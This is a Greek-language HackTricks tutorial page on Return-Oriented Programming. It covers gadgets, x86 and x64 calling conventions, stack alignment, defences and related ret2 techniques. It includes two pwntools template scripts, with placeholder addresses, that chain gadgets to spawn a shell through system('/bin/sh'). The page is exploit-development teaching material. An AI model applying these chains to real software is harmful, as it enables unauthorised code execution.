hacktricks/binary-exploitation/rop-return-oriented-programing
2024-04-09 03:06:40 +00:00
..
ret2lib Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/ 2024-04-07 23:22:21 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 09:25:30 +00:00
ret2csu.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 09:25:30 +00:00
ret2dlresolve.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 09:25:30 +00:00
ret2esp-ret2reg.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 09:25:30 +00:00
ret2vdso.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 09:25:30 +00:00
rop-syscall-execv.md Translated ['README.md', 'binary-exploitation/common-binary-protections- 2024-04-09 03:06:40 +00:00
srop-sigreturn-oriented-programming.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 09:25:30 +00:00

ROP - Return Oriented Programing

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Το Return-Oriented Programming (ROP) είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακάμψει μέτρα ασφαλείας όπως το No-Execute (NX) ή το Data Execution Prevention (DEP). Αντί να εισάγει και να εκτελεί κώδικα κέλυφους, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που υπάρχουν ήδη στο δυαδικό αρχείο ή σε φορτωμένες βιβλιοθήκες, γνωστά ως "gadgets". Κάθε gadget τελειώνει συνήθως με μια εντολή ret και εκτελεί μια μικρή λειτουργία, όπως μεταφορά δεδομένων μεταξύ καταχωρητών ή εκτέλεση αριθμητικών πράξεων. Συνδέοντας αυτά τα gadgets μαζί, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα φορτίο για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.

Πώς Λειτουργεί το ROP

  1. Απάτηση Ροής Ελέγχου: Αρχικά, ένας επιτιθέμενος πρέπει να απατήσει τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος ένα buffer overflow για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στη στοίβα.
  2. Αλυσίδωση Gadgets: Έπειτα, ο επιτιθέμενος επιλέγει προσεκτικά και αλυσίδωνει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό θα μπορούσε να περιλαμβάνει την ρύθμιση ορισμάτων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., system("/bin/sh")), και τη χειρισμό οποιασδήποτε απαραίτητης καθαριότητας ή επιπλέον λειτουργιών.
  3. Εκτέλεση Φορτίου: Όταν η ευάλωτη συνάρτηση επιστρέφει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets.

Εργαλεία

Συνήθως, τα gadgets μπορούν να βρεθούν χρησιμοποιώντας το ROPgadget, το ropper ή απευθείας από τα pwntools (ROP).

ROP Chain σε Παράδειγμα x86

Σύμβαση Κλήσης x86 (32-bit)

  • cdecl: Ο καλούντας καθαρίζει τη στοίβα. Τα ορίσματα συνάρτησης προωθούνται στη στοίβα με αντίστροφη σειρά (δεξιά προς αριστερά). Τα ορίσματα προωθούνται στη στοίβα από δεξιά προς αριστερά.
  • stdcall: Παρόμοιο με το cdecl, αλλά ο καλούμενος είναι υπεύθυνος για τον καθαρισμό της στοίβας.

Εύρεση Gadgets

Αρχικά, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό αρχείο ή στις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι:

  • pop eax; ret: Αυτό το gadget αποσπά την κορυφαία τιμή της στοίβας στον καταχωρητή EAX και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε το EAX.
  • pop ebx; ret: Παρόμοιο με το παραπάνω, αλλά για τον καταχωρητή EBX, επιτρέποντας τον έλεγχο του EBX.
  • mov [ebx], eax; ret: Μεταφέρει την τιμή στο EAX στη θέση μνήμης που δείχνει ο EBX και στη συνέχεια επιστρέφει. Αυτό ονομάζεται συχνά gadget γραφής-τι-πού.
  • Επιπλέον, έχουμε διαθέσιμη τη διεύθυνση της συνάρτησης system().

ROP Chain

Χρησιμοποιώντας τα pwntools, προετοιμάζουμε τη στοίβα για την εκτέλεση της αλυσίδας ROP ως εξής με στόχο την εκτέλεση της system('/bin/sh'), παρατηρήστε πως η αλυσίδα ξεκινά με:

  1. Μια εντολή ret για λόγους ευθυγράμμισης (προαιρετικά)
  2. Διεύθυνση της συνάρτησης system (υποθέτοντας απενεργοποιημένο το ASLR και γνωστή την libc, περισσότερες πληροφορίες στο Ret2lib)
  3. Χώρος για τη διεύθυνση επιστροφής από την system()
  4. Διεύθυνση του "/bin/sh" συμβολοσειράς (παράμετρος για τη συνάρτηση system)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Παράδειγμα ROP Chain σε x64

Σύμβαση κλήσης x64 (64-bit)

  • Χρησιμοποιεί τη σύμβαση κλήσης System V AMD64 ABI σε συστήματα παρόμοια με Unix, όπου οι πρώτες έξι ακέραιες ή δείκτες παραμέτρων περνιούνται στους εγγραφείς RDI, RSI, RDX, RCX, R8, και R9. Επιπλέον παράμετροι περνιούνται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο RAX.
  • Η σύμβαση κλήσης Windows x64 χρησιμοποιεί τους RCX, RDX, R8, και R9 για τις πρώτες τέσσερις ακέραιες ή δείκτες παραμέτρων, με επιπλέον παραμέτρους που περνιούνται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο RAX.
  • Εγγραφείς: Οι 64-bit εγγραφείς περιλαμβάνουν τους RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, και R8 έως R15.

Εύρεση Gadgets

Για τον σκοπό μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ορίσουμε τον εγγραφέα RDI (για να περάσουμε το string "/bin/sh" ως παράμετρο στη συνάρτηση system()) και στη συνέχεια να καλέσουμε τη συνάρτηση system(). Θα υποθέσουμε ότι έχουμε εντοπίσει τα ακόλουθα gadgets:

  • pop rdi; ret: Αποσυσκευάζει την κορυφαία τιμή της στοίβας στο RDI και στη συνέχεια επιστρέφει. Απαραίτητο για την ορισμό της παραμέτρου μας για το system().
  • ret: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση της στοίβας σε ορισμένα σενάρια.

Και γνωρίζουμε τη διεύθυνση της συνάρτησης system().

ROP Chain

Παρακάτω υπάρχει ένα παράδειγμα χρησιμοποιώντας το pwntools για να δημιουργήσουμε και να εκτελέσουμε μια ROP chain με στόχο την εκτέλεση της system('/bin/sh') σε x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Ευθυγράμμιση Στοίβας

Η x86-64 ABI εξασφαλίζει ότι η στοίβα είναι ευθυγραμμισμένη σε 16 bytes όταν εκτελείται μια εντολή κλήσης. Το LIBC, για βελτιστοποίηση της απόδοσης, χρησιμοποιεί εντολές SSE (όπως movaps) που απαιτούν αυτό το ευθυγράμμισμα. Αν η στοίβα δεν είναι ευθυγραμμισμένη σωστά (δηλαδή το RSP δεν είναι πολλαπλάσιο του 16), κλήσεις σε συναρτήσεις όπως το system θα αποτύχουν σε μια ROP chain. Για να διορθώσετε αυτό, απλά προσθέστε ένα ret gadget πριν καλέσετε το system στη ROP chain σας.

Κύρια Διαφορά μεταξύ x86 και x64

{% hint style="success" %} Καθώς το x64 χρησιμοποιεί καταχωρητές για τα πρώτα λίγα ορίσματα, συχνά απαιτεί λιγότερα gadgets από το x86 για απλές κλήσεις συναρτήσεων, αλλά η εύρεση και σύνδεση των σωστών gadgets μπορεί να είναι πιο περίπλοκη λόγω του αυξημένου αριθμού καταχωρητών και του μεγαλύτερου χώρου διευθύνσεων. Ο αυξημένος αριθμός καταχωρητών και ο μεγαλύτερος χώρος διευθύνσεων στην αρχιτεκτονική x64 παρέχουν τόσο ευκαιρίες όσο και προκλήσεις για την ανάπτυξη εκμετάλλευσης, ειδικά στο πλαίσιο του Return-Oriented Programming (ROP). {% endhint %}

Προστασίες Ενάντια στο ROP

  • ASLR & PIE: Αυτές οι προστασίες κάνουν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ των εκτελέσεων.
  • Stack Canaries: Σε περίπτωση Buffer Overflow, είναι απαραίτητο να παρακαμφθεί το stack canary για να αντικατασταθούν οι δείκτες επιστροφής για την κατάχρηση μιας ROP chain.
  • Έλλειψη Gadgets: Αν δεν υπάρχουν αρκετά gadgets, δεν θα είναι δυνατή η δημιουργία μιας ROP chain.

Τεχνικές βασισμένες σε ROP

Σημειώστε ότι το ROP είναι απλά μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένες στο ROP αναπτύχθηκαν πολλές τεχνικές Ret2XXX:

  • Ret2lib: Χρησιμοποιήστε ROP για να καλέσετε αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετες παραμέτρους (συνήθως κάτι σαν system('/bin/sh').

{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}

  • Ret2Syscall: Χρησιμοποιήστε ROP για να προετοιμάσετε μια κλήση σε ένα σύστημα κλήσης, π.χ. execve, και να την κάνετε να εκτελέσει αυθαίρετες εντολές.

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

  • EBP2Ret & EBP Chaining: Το πρώτο θα καταχραστεί το EBP αντί του EIP για να ελέγξει τη ροή και το δεύτερο είναι παρόμοιο με το Ret2lib αλλά σε αυτή την περίπτωση η ροή ελέγχεται κυρίως με διευθύνσεις EBP (αν και είναι απαραίτητο να ελέγχεται και ο EIP).

{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}

Άλλα Παραδείγματα & Αναφορές